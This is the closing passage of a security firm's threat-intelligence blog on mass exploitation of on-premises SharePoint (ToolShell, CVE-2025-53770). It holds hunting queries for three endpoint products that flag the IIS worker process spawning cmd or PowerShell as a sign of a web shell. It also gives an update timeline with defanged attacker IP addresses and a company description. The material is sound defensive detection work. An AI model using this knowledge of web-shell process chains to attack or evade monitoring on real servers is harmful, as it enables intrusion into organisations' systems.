| "Process Explorer" := format("[Process Explorer](https://falcon.eu-1.crowdstrike.com/graphs/process-explorer/tree?&=true&_cid=%s&id=pid:%s:%s&investigate=true&pid=pid:%s:%s&timeline=false)", field=["cid", "aid", "TargetProcessId", "aid", "TargetProcessId"])
| table([@timestamp, aid, ComputerName, "Process Explorer"])

Defender for Endpoint (Advanced Hunting)

let windowsShells = dynamic(["powershell.exe", "powershell_ise.exe", "cmd.exe"]);
let SharePointDevices = 
DeviceProcessEvents
| where ActionType has "ProcessCreated" and FileName == "w3wp.exe" and ProcessCommandLine contains "SharePoint"
| summarize by DeviceName, ProcessCommandLine;
DeviceProcessEvents
| where (InitiatingProcessParentFileName == "w3wp.exe" or InitiatingProcessCommandLine == "w3wp.exe")
| where InitiatingProcessFileName in~(windowsShells)
| extend Reason = iff(InitiatingProcessParentFileName == "w3wp.exe", "Suspicious web shell execution", "Suspicious webserver process")
| join kind=inner (SharePointDevices) on DeviceName
| project DeviceName, ProcessCommandLine, Reason

Sentinel One

dataSource.name = 'SentinelOne' and endpoint.os = "windows" and event.type = "Process Creation" and src.process.parent.name contains "svchost.exe" and src.process.name contains "w3wp.exe" and tgt.process.name contains "cmd.exe" and src.process.cmdline contains "SharePoint"

Timeline

Time Event
18-07-25 ~18:00 UTC We identified the ASPX payload, research started
19-07-25 ~02:00 UTC Publication of our blog
19-07-25 ~06:00 UTC Corrected that Pwn2Own Berlin was in May ’25
19-07-25 ~17:00 UTC New IP added used for 2nd wave of mass exploitation
20-07-25 ~06:00 UTC Microsoft assigned CVE-2025-53770 and stated there is currently no patch available. Disclosed malicious ASPX file path & hash. Added ysoserial example.
20-07-25 ~08:00 UTC Added proof from X that @irsdl found an auth bypass that enabled CVE-2025-53770 to work without auth
20-07-25 ~10:00 UTC Added relevant external resources section
20-07-25 ~13:00 UTC Added RCE payload (Powershell) that drops spinstall0.aspx
20-07-25 ~21:00 UTC Fixed some typo’s (including a typo in the Referer IOC)
21-07-25 ~12:45 UTC Added steps to rotate ASP.NET machine keys as precaution
21-07-25 ~17:30 UTC Added context to IOC 96.9.125[.]147 (1st wave 17th of July)
21-07-25 ~18:30 UTC Added newly detected 3rd wave from 45.77.155[.]170
21-07-25 ~23:00 UTC Added IPv4 IOC’s of several new waves we detected
21-07-25 ~23:30 UTC Fixed Machine Key rotation instructions
22-07-25 ~09:00 UTC Added Microsoft patch information
22-07-25 ~10:00 UTC Added additional IPv4 IOC’s of new waves detected
23-07-25 ~09:15 UTC Added additional webshell filenames IOC’s
24-07-25 ~10:30 UTC Added Indicators of Attack
29-07-25 ~20:00 UTC Clarifications & corrections, as July 17 to 19 waves we observed were not CVE-2025-53770/53771, but rather the original ToolShell chain: CVE-2025-49706 (auth bypass) and CVE-2025-49704 (deserialization RCE) as pointed out by @irsdl (thank you).

External resources

Please use the following confirmed sources which are linked through-out this blog.

About Eye Security

We are a European cybersecurity company focused on 24/7 threat monitoring, incident response, and cyber insurance. Our research team performs proactive scans and threat intelligence operations across the region to defend our customers and their supply chains.

Learn more at https://eye.security/ and follow us on LinkedIn to help us spread the word.